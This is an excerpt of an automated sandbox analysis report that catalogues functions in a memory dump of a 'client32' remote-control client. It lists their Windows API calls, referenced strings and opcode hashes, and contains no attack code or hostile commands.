Function 11034260 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 11034278
GetClassNameA.USER32(?,?,00000400), ref: 110342A6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

ComboBox, xrefs: 110342B2
CltAutoLogon.cpp, xrefs: 11034287
IsWindow(hWin), xrefs: 1103428C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassErrorExitLastMessageNameProcessWindowwsprintf
String ID: CltAutoLogon.cpp$ComboBox$IsWindow(hWin)
API String ID: 2713866921-163732079
Opcode ID: 14a0087bc9e0b4944a4ea983ce77c4a7d22c973e095c8e634d6da1f2309b0550
Instruction ID: e653eece35be72a1d9193e49b8cd4dff3bda1b57b45a8763bea0034b8aaf2909
Opcode Fuzzy Hash: 14a0087bc9e0b4944a4ea983ce77c4a7d22c973e095c8e634d6da1f2309b0550
Instruction Fuzzy Hash: 9DF0B4B5A0122D6BDB00DF659D01FEEF7ACDF45219F0000A4EB15AA181EB346A15CBD9

Function 11146140 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11146010: _memset.LIBCMT ref: 11146055
Part of subcall function 11146010: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
Part of subcall function 11146010: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
Part of subcall function 11146010: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
Part of subcall function 11146010: FreeLibrary.KERNEL32(00000000), ref: 111460BF
Part of subcall function 11146010: GetSystemDefaultLangID.KERNEL32 ref: 111460CA

LoadLibraryA.KERNEL32(gdi32.dll,?,75BFCF90,?,11003D52,00000000,00000008), ref: 11146155
GetProcAddress.KERNEL32(00000000,SetLayout), ref: 11146167
FreeLibrary.KERNEL32(00000000,?,11003D52,00000000,00000008), ref: 1114617E

Strings

SetLayout, xrefs: 11146161
gdi32.dll, xrefs: 11146150

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc$DefaultLangSystemVersion_memset
String ID: SetLayout$gdi32.dll
API String ID: 796689547-836973393
Opcode ID: e2a02c7931241414dd0e38b0e94cf2378f17ecdb7d1e00b178c9e364d1f615da
Instruction ID: d41aa01a6e476ec3efb0e30ba4a4f3b24d6e29c0e630937b51d8ced853034778
Opcode Fuzzy Hash: e2a02c7931241414dd0e38b0e94cf2378f17ecdb7d1e00b178c9e364d1f615da
Instruction Fuzzy Hash: B9E0E536300129A7A7041BA6AD449AEBB6CDFC4D6E7110032FD28C3E00DF30D80286B1

Function 110ED0D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 110ED0D9
SendMessageA.USER32(00000000,0000045B,11020C43,00000000), ref: 110ED10D
SendMessageA.USER32(00000000,00000445,00000000,04000000), ref: 110ED11C

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsWindow(hRich), xrefs: 110ED0ED
..\CTL32\NSWin32.cpp, xrefs: 110ED0E8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Send$ErrorExitLastProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)
API String ID: 2446111109-1196874063
Opcode ID: 93f24dbc4e032974f58e80ca0bca6baec86c89681a163379e751775f02966cce
Instruction ID: de22b858d700e942c4608c09a96d83abbd875fbcce216c0436bbd94e05821714
Opcode Fuzzy Hash: 93f24dbc4e032974f58e80ca0bca6baec86c89681a163379e751775f02966cce
Instruction Fuzzy Hash: 75E0D82978027837D52176926C0AFDF7B5CCB85A55F058021FB15BB0C1D560730146ED

Function 11066240 Relevance: 7.6, APIs: 5, Instructions: 125sleepCOMMON

Download Yara Rule

APIs

EndPagePrinter.WINSPOOL.DRV(00000000), ref: 11066312
EndDocPrinter.WINSPOOL.DRV(00000000), ref: 11066318
ClosePrinter.WINSPOOL.DRV(00000000,00000000), ref: 1106631E
CloseHandle.KERNEL32(00000000), ref: 11066326
Sleep.KERNEL32(000001F4), ref: 1106635A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Printer.$Close$HandlePageSleep
String ID:
API String ID: 2391129857-0
Opcode ID: 837e2ad71b4aedaef123a839c0a4d46cfa0a08f569e05cf7b8d3d9f7176c7a1a
Instruction ID: 54f5cd880c03052bf648385b62e688d91943f5081a86e9c826f712f80982fdab
Opcode Fuzzy Hash: 837e2ad71b4aedaef123a839c0a4d46cfa0a08f569e05cf7b8d3d9f7176c7a1a
Instruction Fuzzy Hash: 03417E71E00616EFEB00CF64CD80B9EBBF9BF48359F1081A9D959AB281D770AA41CF50

Function 110360A0 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

CoInitialize.OLE32(00000000), ref: 1103615A
std::exception::exception.LIBCMT ref: 11036181
__CxxThrowException@8.LIBCMT ref: 11036196
std::exception::exception.LIBCMT ref: 110361A5
__CxxThrowException@8.LIBCMT ref: 110361BA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Initialize_malloc_memsetwsprintf
String ID:
API String ID: 1786275401-0
Opcode ID: abf63ed10b9a33d35738ef3545b146c3bbc204ca284e0326731a08126ed97f7e
Instruction ID: 91a3b5653d7650477d6c86e486cf4b90a783982459a57e5f4808bea1ecc0b8d8
Opcode Fuzzy Hash: abf63ed10b9a33d35738ef3545b146c3bbc204ca284e0326731a08126ed97f7e
Instruction Fuzzy Hash: 8B41F7B5D10709AFC715CFAAD98099AFBF8FF18704F50892EE55AA3640E735A604CB90

Function 1104F179 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 69sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11034C90: EnumWindows.USER32(Function_00034A20), ref: 11034CAB
Part of subcall function 11034C90: SetForegroundWindow.USER32(?), ref: 11034CB5
Part of subcall function 11034C90: EnumWindows.USER32(Function_00034A20), ref: 11034CDF
Part of subcall function 11034C90: Sleep.KERNEL32(00000032), ref: 11034CE9

Sleep.KERNEL32(00000032,LegalNoticeText,?,?,LegalNoticeCaption,?,?,80000002,Software\Microsoft\Windows\CurrentVersion\Policies\System,00020019), ref: 1104F191
GetLastError.KERNEL32(00000000,Global\Client32Provider,80000002,Software\Microsoft\Windows\CurrentVersion\Policies\System,00020019), ref: 1104F1DF
Sleep.KERNEL32(00000032,?,?,0000004A,00000000,?), ref: 1104F33D
Sleep.KERNEL32(00000032), ref: 1104F383

Strings

error opening ipc lap %d to logon, e=%d, %s, xrefs: 1104F1E7
Global\Client32Provider, xrefs: 1104F1BB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep$EnumWindows$ErrorForegroundLastWindow
String ID: Global\Client32Provider$error opening ipc lap %d to logon, e=%d, %s
API String ID: 3682529815-1899068400
Opcode ID: c4d977c9ff5073cf5f339a6a763244f2db9b90aa9ebb7fa690a9d42cd1b1b4cf
Instruction ID: 6aab5bd338832a8b6cc9a825996d00e4c24ed17e7d33d91b3ba03cdb4d861036
Opcode Fuzzy Hash: c4d977c9ff5073cf5f339a6a763244f2db9b90aa9ebb7fa690a9d42cd1b1b4cf
Instruction Fuzzy Hash: BC212638D4425ACED715DBA4CD98BECB760EB9630AF2001FDD85A97590EF302A45CB12

Function 110401D0 Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 110400B0: DeleteObject.GDI32(?), ref: 1104019B

CreateRectRgnIndirect.GDI32(?), ref: 11040218
CombineRgn.GDI32(?,?,00000000,00000002), ref: 1104022C
DeleteObject.GDI32(00000000), ref: 11040233
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 11040256
CombineRgn.GDI32(00000000,00000000,00000000,00000002), ref: 1104026D

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CombineCreateDeleteObjectRect$Indirect
String ID:
API String ID: 3044651595-0
Opcode ID: bdd4bcdb3aa3dcabfe6cf7331a892a45fd264ed50371146b7216a965a4c33285
Instruction ID: 40609504ee2ce5e6893e22a8e9e4794f5f90a477b0a86d2cb080c2a65735e6f6
Opcode Fuzzy Hash: bdd4bcdb3aa3dcabfe6cf7331a892a45fd264ed50371146b7216a965a4c33285
Instruction Fuzzy Hash: 25116D71A40705EFE764CE60CA88BD6F7ECFB14719F10417AE529A29C4C7B4B881CB50

Function 1100A250 Relevance: 7.5, APIs: 5, Instructions: 47synchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 1100A26E
DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A298
GetLastError.KERNEL32 ref: 1100A2A0
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A2B4
CloseHandle.KERNEL32(00000000), ref: 1100A2BB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseControlCreateDeviceErrorEventHandleLastObjectSingleWait
String ID:
API String ID: 2062450601-0
Opcode ID: b7a7dcf123d1102af8070ae9ded992f2e722cbafb170e9e3478bdc9f249b2094
Instruction ID: bc93eed9d268af17b12dc0c75b84aef517d95988fbcc1729b49ee65d4685203d
Opcode Fuzzy Hash: b7a7dcf123d1102af8070ae9ded992f2e722cbafb170e9e3478bdc9f249b2094
Instruction Fuzzy Hash: F601F731A40629B7F7159AA8CC45F9DB768AB44775F204320F934A76C0C770A94187D4

Function 11034550 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 1103456F
GetWindowLongA.USER32(?,000000F0), ref: 11034578
GetDlgCtrlID.USER32(?), ref: 1103457F
GetClassNameA.USER32(?,?,00000400), ref: 11034592
GetWindowTextA.USER32(?,?,00000400), ref: 110345A5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ClassCtrlLongNameRectText
String ID:
API String ID: 2484906136-0
Opcode ID: ce159bbfeb3044cedd36f1e5c8e865b9ac25697cea3e73b3724e752e1ec9f2c1
Instruction ID: c25dcb202ae9d01d0aecf4f64a68191ce3fcfabe0d99871be661b9556b24c4fa
Opcode Fuzzy Hash: ce159bbfeb3044cedd36f1e5c8e865b9ac25697cea3e73b3724e752e1ec9f2c1
Instruction Fuzzy Hash: BAF0AF7244112CABC714DBA4CE48EEEB36CEF09308F004164F62296584DF782A46CBE9

Function 11171306 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 11171312

Part of subcall function 1116C675: __getptd_noexit.LIBCMT ref: 1116C678
Part of subcall function 1116C675: __amsg_exit.LIBCMT ref: 1116C685

__getptd.LIBCMT ref: 11171329
__amsg_exit.LIBCMT ref: 11171337
__lock.LIBCMT ref: 11171347
__updatetlocinfoEx_nolock.LIBCMT ref: 1117135B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 35fe5c9bc94bd85c8d3435a182b19743491bdb717c624575e9545a6300ca247a
Instruction ID: 9cb08520484339131e966c5afe67267813abc49f95b778b0e1eea255b6adbda5
Opcode Fuzzy Hash: 35fe5c9bc94bd85c8d3435a182b19743491bdb717c624575e9545a6300ca247a
Instruction Fuzzy Hash: 67F0243AD04322DAE7119BB88801B5CF7A16F0073CF110249D814A77C0CFA47810CB5B

Function 110BE0D0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 209COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 110BE1F9
__CxxThrowException@8.LIBCMT ref: 110BE20E

Strings

HasListener(), xrefs: 110BE19D
e:\nsmsrc\nsm\1210\1210f\ctl32\WBObject.h, xrefs: 110BE198

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: HasListener()$e:\nsmsrc\nsm\1210\1210f\ctl32\WBObject.h
API String ID: 1338273076-3267820813
Opcode ID: 3a5f3d62879c966fc82f418f694905d75f14910616183289d6c69cf165eafd22
Instruction ID: 72efe913c15dd2a825e40b83131ec7a5b7bb91afe0206afba866435cf9ee8433
Opcode Fuzzy Hash: 3a5f3d62879c966fc82f418f694905d75f14910616183289d6c69cf165eafd22
Instruction Fuzzy Hash: 88716179E00259EFCB05DFA8D880BEEFBF8EF58314F104559E415A7280DB75AA44CBA1

Function 11053280 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

Part of subcall function 11145410: GetSystemMetrics.USER32(0000005E), ref: 1114542A

Part of subcall function 110CC360: GetDlgItem.USER32(00000000,?), ref: 110CC387
Part of subcall function 110CC360: GetWindowRect.USER32(00000000), ref: 110CC38A
